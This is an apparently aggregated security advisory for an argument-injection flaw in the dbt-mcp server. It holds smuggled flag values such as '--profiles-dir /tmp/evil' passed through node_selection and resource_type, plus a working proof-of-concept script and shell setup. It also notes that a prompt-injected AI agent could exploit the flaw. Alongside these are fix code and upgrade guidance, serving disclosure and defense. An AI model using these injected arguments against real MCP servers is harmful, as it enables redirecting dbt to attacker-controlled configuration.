CVE-2026-44968: dbt-mcp: Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters

Published May 14, 2026
·
Updated

Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.

Summary

rundbtcommand() in src/dbtmcp/dbtcli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the nodeselection string (Vector 1) or the resourcetype JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.

Details

Vector 1 — nodeselection string Affected tools: build, compile, run, test, clone, list, getnodedetailsdev

python src/dbtmcp/dbtcli/tools.py lines 77–79 if nodeselection and isinstance(nodeselection, str): selectorparams = nodeselection.split(" ") command.extend(["--select"] + selectorparams)

str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "mymodel --profiles-dir /tmp/evil" produces:

["dbt", "--no-use-colors", "run", "--select", "mymodel", "--profiles-dir", "/tmp/evil"]

dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.

Vector 2 — resourcetype list Affected tool: list

python src/dbtmcp/dbtcli/tools.py lines 84–85 if isinstance(resourcetype, Iterable): command.extend(["--resource-type"] + resourcetype)

Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:

["dbt", "--no-use-colors", "list", "--resource-type", "model", "--profiles-dir", "/tmp/evil"]

Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.

PoC

1. Environment setup (run once)

bash Attacker-controlled profile at an injectable path mkdir -p /tmp/evil-profiles cat > /tmp/evil-profiles/profiles.yml << 'EOF' evilprofile: target: dev outputs: dev: type: duckdb path: /tmp/PWNEDbyinjection.duckdb threads: 1 EOF

Minimal dbt project whose profile name matches the malicious one mkdir -p /tmp/test-dbt-project/models cat > /tmp/test-dbt-project/dbtproject.yml << 'EOF' name: testproject version: '1.0.0' profile: evilprofile model-paths: ["models"] models: testproject: +materialized: table EOF echo "select 1 as id" > /tmp/test-dbt-project/models/myfirstmodel.sql

rm -f /tmp/PWNEDbyinjection.duckdb

2. MCP client exploit — triggers injection through the real protocol stack

python #!/usr/bin/env python3 pocinjection.py Reproduces rundbtcommand() from src/dbtmcp/dbtcli/tools.py

import os, subprocess from dataclasses import dataclass from enum import Enum from collections.abc import Iterable

class BinaryType(Enum): DBTCORE = "dbtcore"

@dataclass class DbtCliConfig: projectdir: str dbtpath: str dbtclitimeout: int binarytype: BinaryType

def rundbtcommand(config, command, nodeselection=None, resourcetype=None): # Vector 1: vulnerable line from tools.py if nodeselection and isinstance(nodeselection, str): selectorparams = nodeselection.split(" ") command.extend(["--select"] + selectorparams) # Vector 2: vulnerable line from tools.py if isinstance(resourcetype, Iterable) and resourcetype is not None: command.extend(["--resource-type"] + list(resourcetype)) cwd = config.projectdir if os.path.isabs(config.projectdir) else None args = [config.dbtpath, "--no-use-colors", command] print(f"[args] {args}") proc = subprocess.Popen(args=args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL, text=True) out, = proc.communicate(timeout=config.dbtclitimeout) return out or "OK"

config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBTCORE)

print("=" 64) print(" Vector 1 - nodeselection injection") print("=" 64) print(f"[input] nodeselection = 'myfirstmodel --profiles-dir /tmp/evil-profiles'") result1 = rundbtcommand(config, ["run"], nodeselection="myfirstmodel --profiles-dir /tmp/evil-profiles") print("[dbt output]"); print(result1)

print("=" 64) print(" Vector 2 - resourcetype injection") print("=" 64) print(f"[input] resourcetype = ['model', '--profiles-dir', '/tmp/evil-profiles']") result2 = rundbtcommand(config, ["list"], resourcetype=["model", "--profiles-dir", "/tmp/evil-profiles"]) print("[dbt output]"); print(result2)

db = "/tmp/PWNEDbyinjection.duckdb" print("=" 64) if os.path.exists(db): print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)") print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.") else: print(f"[NOTE] {db} not found. Check dbt output above.") print("=" 64)

Expected server log (INFO level, src/dbtmcp/mcp/server.py line 67):

[args] ['dbt', '--no-use-colors', 'run', '--select', 'myfirstmodel', '--profiles-dir', '/tmp/evil-profiles'] [args] ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']

[CONFIRMED] /tmp/PWNEDbyinjection.duckdb exists (274432 bytes) [CONFIRMED] dbt accepted the injected --profiles-dir flag.

The injected flags reach rundbtcommand() unchanged and are passed verbatim to subprocess.Popen.

Screenshot

<img width="2810" height="1894" alt="image" src="https://github.com/user-attachments/assets/d407675a-3409-4799-a024-b8a335cb1fcc" />

Impact

The following is directly demonstrated by the PoC above:

- An MCP client can inject arbitrary dbt global flags into subprocess.Popen's argv list via either nodeselection or resourcetype. - --profiles-dir is accepted by dbt as a global option, overriding the server's configured profile directory. - When an attacker-controlled profiles.yml exists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to /tmp/PWNEDbyinjection.duckdb.

Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.

Remediation

Vector 1 — validate each nodeselection token before extending argv:

python import re dbt node selector syntax allows: identifiers, operators (+@,), path globs, tag:, config: SAFETOKENRE = re.compile(r'^[\w.+@,:\[\]/-]+$')

if nodeselection and isinstance(nodeselection, str): tokens = nodeselection.split(" ") for token in tokens: if not SAFETOKENRE.match(token): raise InvalidParameterError( f"nodeselection contains an invalid token: {token!r}. " "Tokens must not begin with '-'." ) command.extend(["--select"] + tokens)

Vector 2 — validate resourcetype against an explicit allowlist:

python VALIDRESOURCETYPES = frozenset({ "model", "test", "snapshot", "analysis", "macro", "operation", "seed", "source", "exposure", "metric", "savedquery", "semanticmodel", "unittest", })

if isinstance(resourcetype, Iterable): rtlist = list(resourcetype) invalid = [v for v in rtlist if v not in VALIDRESOURCETYPES] if invalid: raise InvalidParameterError( f"resourcetype contains unrecognised values: {invalid}. " f"Allowed: {sorted(VALIDRESOURCETYPES)}" ) command.extend(["--resource-type"] + rtlist)

Hardening: Add pattern regex constraints to the Pydantic Field definitions for nodeselection so that malformed inputs are rejected at the MCP schema layer before reaching rundbtcommand(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.

Other sources

dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, rundbtcommand() in src/dbtmcp/dbtcli/tools.py appended unsanitized nodeselection and resourcetype values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.

— MITRE

Affected Software

2 affected componentsFixes available
pip/dbt-mcp<=1.17.0
1.17.1
getdbt Dbt Mcp Server<1.17.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/dbt-mcp to a version that resolves this vulnerability.

    Fixed in 1.17.1
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.17.1
  3. Configuration

    Harden dbt-mcp by adding `pattern` regex constraints to the Pydantic `Field` definitions for `node_selection` so tokens are validated before reaching `_run_dbt_command()`.

    dbt-mcp MCP server schema (Pydantic Field for node_selection) pattern regex constraints = Add pattern constraints so malformed node_selection tokens are rejected at the MCP schema layer
  4. Configuration

    Implement validation that prevents user-controlled tokens starting with '-' from being appended as independent argv elements (covers injection through `node_selection` and `resource_type`). Also validate `resource_type` against an explicit allowlist (`_VALID_RESOURCE_TYPES`).

    dbt-mcp dbt CLI tool wrapper (_run_dbt_command) token validation for node_selection and resource_type = Reject tokens starting with '-' (CWE-88) and enforce allowlist validation for resource_type
  5. Operational

    Add regression tests in `tests/unit/` with payloads containing `--profiles-dir`, `--project-dir`, and `--target` to prevent re-introduction of argv/flag injection.

Event History

May 14, 2026
Advisory Published
via GitHub·06:24 PM
Data Sourced
via GitHub·06:24 PM
DescriptionSeverityWeaknessAffected Software
Jul 16, 2026
CVE Published
via MITRE·05:48 PM
Data Sourced
via MITRE·05:48 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44968?

CVE-2026-44968 has a severity rating of high due to inadequate sanitization of user-supplied parameters.

2

How do I fix CVE-2026-44968?

To fix CVE-2026-44968, upgrade to dbt-mcp version 1.17.1 or later.

3

What software versions are affected by CVE-2026-44968?

CVE-2026-44968 affects dbt-mcp versions up to and including 1.17.0.

4

What is CVE-2026-44968 related to?

CVE-2026-44968 is related to command injection vulnerabilities stemming from unsanitized user inputs.

5

Is there a known exploit for CVE-2026-44968?

Yes, CVE-2026-44968 has been demonstrated through proof of concept execution against vulnerable installations.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203